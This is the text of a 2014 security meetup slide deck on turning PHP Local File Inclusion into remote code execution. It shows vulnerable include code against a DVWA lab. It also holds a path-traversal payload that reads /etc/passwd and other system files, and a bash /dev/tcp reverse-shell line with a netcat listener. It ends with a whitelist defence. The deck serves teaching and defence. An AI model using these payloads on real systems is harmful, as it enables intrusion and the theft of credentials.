Local File Inclusion to Remote Code Execution

null Bangalore Chapter - March 2014 Meet

1. Local File Inclusion To Remote
Command Execution [LFI <> RCE]
By
Sharath Unni

2. Introduction
What is a file inclusion vulnerability?
How the attack works?
RFI/LFI vulnerable PHP functions
Traverse and read local files
Path Traversal / FI using scanners
Reverse shell via LFI
Other ways to inject your code
Defending yourself

3. What is a file inclusion vulnerability?
Input validation
The application trusts/doesn’t validate the user input



The code includes/imports other pages

Dynamic including of the page
When PHP includes a file it will parse any PHP code within
that file (“<?php” and “?>”)


Do not trust the user…ever !!

4. How the attack works?
http://192.168.109.136/dvwa/vulnerabilities/fi/?page=include

The code would be:

<?php $file =$_GET[‘file'];
include("/".$file .".php"); <-- Vulnerable !!
?>

Assign page to "../../../../etc/passwd%00“

<?php $file =$_GET[‘file'];
include("/../../../../etc/passwd%00.php"); <-- Directory Traversal to LFI ?>

%00 (Null CHAR) will ignore everything that comes after %00
../../../ will traverse path to root and goto /etc/passwd

5. RFI/LFI vulnerable PHP functions

include()
include_once()
require()
require_once()
fopen()

6. Common locations
Normally, the following files are read:
/etc/passwd
/etc/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/httpd/conf/httpd.conf

Other Unix common locations

7. Path Traversal / FI using scanners
http://sectooladdict.blogspot.in/ OR http://sectoolmarket.com/

8. We read the files,
what next?

9. Reverse shell via LFI
PHP script to open an outbound TCP connection

<?php exec("bash -i >& /dev/tcp/<yourIP>/<port> 0>&1"); ?>

Go and catch the reverse shell

nc –lp <port>

10. Other ways to inject your code
Using directory traversal to read files
Log poisoning (access.log, error.log)
Session variables
Uploaded files
Emails
Shared hosting
FTP and other logs

11. Defending yourself
<?php
 $page_files=array( 'about'=>'about.html',
 'photos'=>'photos.html',
 'contact'=>'contact.html',
 'home'=>'home.html'
 );

if (in_array($_GET['page'],array_keys($page_files))) {
 include $page_files[$_GET['page']];
 } else {
 include $page_files['home'];
}
?>

12. Thank You! 

13. References
http://sectoolmarket.com/path-traversal-local-file-
inclusion-detection-accuracy-of-open-source-web-
application-scanners.html